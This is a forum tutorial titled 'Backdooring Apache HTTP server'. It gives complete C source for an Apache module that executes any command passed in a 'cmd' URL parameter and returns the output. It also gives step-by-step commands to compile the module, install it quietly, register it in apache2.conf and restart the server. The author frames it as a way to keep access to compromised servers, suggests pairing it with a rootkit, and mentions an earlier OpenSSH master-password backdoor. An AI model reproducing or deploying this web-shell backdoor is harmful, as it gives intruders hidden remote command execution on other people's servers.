Backdooring Apache HTTP server


Introduction

A few days ago I posted a tutorial about Backdooring OpenSSH-server in which we downloaded the source code of OpenSSH and edited the source code so that it would always accept the password master_of_puppets, we backdoored software that is meant for managing servers, now I want to open your mind and show that you can also backdoor software that wasn’t necessarily meant for server management and show you another way of backdooring software - writing modules.

What is Apache HTTP server?

Apache HTTP server is open-source software used to host web pages.

Why Apache?

According to netcraft, Apache has the largest “Market share of active sites” that means it’s commonly used so if you gain access to a server that hosts websites it will most likely use apache.

graph showing the market share of HTTP servers

What exactly are we going to do?

  • Download apache’s development headers
  • Create our own module that will take requests like /obey_your_master?cmd=<some command here> and print out the output of our commands
  • Install the module

The process

Installing apache’s development headers

Since I’m on Debian I’ll be using the aptitude package manager

apt-get install apache2-dev

Writing the module

Let’s create a separate directory for our project and start writing code in our favourite text editor (I’ll use nano)

mkdir bd_module
cd bd_module
nano bd_module.c

So the first thing we need to do is include apache’s headers:

#include <stdio.h>
#include "apr_hash.h"
#include "ap_config.h"
#include "ap_provider.h"
#include "httpd.h"
#include "http_core.h"
#include "http_config.h"
#include "http_log.h"
#include "http_protocol.h"
#include "http_request.h"

Now’s the fun part, let’s write the handler for our module, this is the function that will handle our request.
In our handler we’ll check if we should handle the request, get the cmd variable from the URL, if cmd is not specified we’ll set it to the command uname -a that gives us a bunch of information about the OS, than execute the command and print the output as a response.

static int oym_handler(request_rec *r)
{
    if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code

    /* Variables */
    apr_table_t*GET;           // Create a var table
    ap_args_to_table(r, &GET); // Read data from get
    FILE *fp;                  // We'll use this for popen
    char buff[1024];           // Buffer for output

    ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text

    /* Get the "cmd" key from the query string, if any. */
    const char *cmd = apr_table_get(GET, "cmd");

    /* If no key was returned, we will set a default value instead. */
    if (!cmd) cmd = "uname -a";

    /* Open the command for reading. */
    fp = popen(cmd, "r");
    if (fp == NULL) {
      ap_rprintf(r, "Failed to run command\n");
      return OK;
    }
    /* Read the output a line at a time - output it. */
    while (fgets(buff, sizeof(buff)-1, fp) != NULL) {
      ap_rprintf(r, "%s", buff);
    }
    return OK;
}

Now let’s register and declare our hook

static void register_hooks(apr_pool_t *pool)
{
    ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST);
}
module AP_MODULE_DECLARE_DATA   bd_module =
{
    STANDARD20_MODULE_STUFF,
    NULL,               /* Per-directory configuration handler */
    NULL,               /* Merge handler for per-directory configurations */
    NULL,               /* Per-server configuration handler */
    NULL,               /* Merge handler for per-server configurations */
    NULL,               /* Any directives we may have for httpd */
    register_hooks      /* Our hook registering function */
};

And let’s put it all together:

#include <stdio.h>
#include "apr_hash.h"
#include "ap_config.h"
#include "ap_provider.h"
#include "httpd.h"
#include "http_core.h"
#include "http_config.h"
#include "http_log.h"
#include "http_protocol.h"
#include "http_request.h"

/*
==============================================================================
Our module handler:
==============================================================================
*/
static int oym_handler(request_rec *r)
{
    if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code

    /* Variables */
    apr_table_t*GET;           // Create a var table
    ap_args_to_table(r, &GET); // Read data from get
    FILE *fp;                  // We'll use this for popen
    char buff[1024];           // Buffer for output

    ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text

    /* Get the "cmd" key from the query string, if any. */
    const char *cmd = apr_table_get(GET, "cmd");

    /* If no key was returned, we will set a default value instead. */
    if (!cmd) cmd = "uname -a";

    /* Open the command for reading. */
    fp = popen(cmd, "r");
    if (fp == NULL) {
      ap_rprintf(r, "Failed to run command\n");
      return OK;
    }
    /* Read the output a line at a time - output it. */
    while (fgets(buff, sizeof(buff)-1, fp) != NULL) {
      ap_rprintf(r, "%s", buff);
    }
    return OK;
}

/*
==============================================================================
The hook registration function:
==============================================================================
*/
static void register_hooks(apr_pool_t *pool)
{
    ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST);
}
/*
==============================================================================
Our module name tag:
==============================================================================
*/
module AP_MODULE_DECLARE_DATA   example_module =
{
    STANDARD20_MODULE_STUFF,
    NULL,               /* Per-directory configuration handler */
    NULL,               /* Merge handler for per-directory configurations */
    NULL,               /* Per-server configuration handler */
    NULL,               /* Merge handler for per-server configurations */
    NULL,               /* Any directives we may have for httpd */
    register_hooks      /* Our hook registering function */
};

Compiling our module

apxs -c bd_module.c

Installing our module

On a system that has apache’s development headers installed you can install modules using apxs (-i installs the module) (-a enables it) module_name

apxs -i -a bd_module.la

But face it: installing apache’s development headers for all the systems you own is just stupid, lets do the install the manual way!
First we have to copy our module to the modules directory:

cp .libs/bd_module.so /usr/lib/apache2/modules/

Now we have to add LoadModule and <Location> directives to apache’s configuration file
So let’s open the config file

nano /etc/apache2/apache2.conf

And add these lines:

LoadModule bd_module /usr/lib/apache2/modules/bd_module.so
<Location "/obey_your_master">
    SetHandler obey_your_master-handler
</Location>

And the final step is to restart apache:

systemctl restart apache2

Testing our module

Fire up your browser and navigate to some_sites_address/obey_your_master
And it works!

image showing the working module

And we are done here!

Final notes

Congratulations on making trough!
I commented the code and left the comments from the example I totally ripped off from apache’s documentation(link is with the sources), but if you still don’t understand something please reply to this thread and ask :)
This backdoor executes commands as the user that is configured to run apache so this backdoor should be used with a rootkit or some other method of privilege escalation:

image showing the output of the id command

Thanks for reading my tutorial! <3

Sources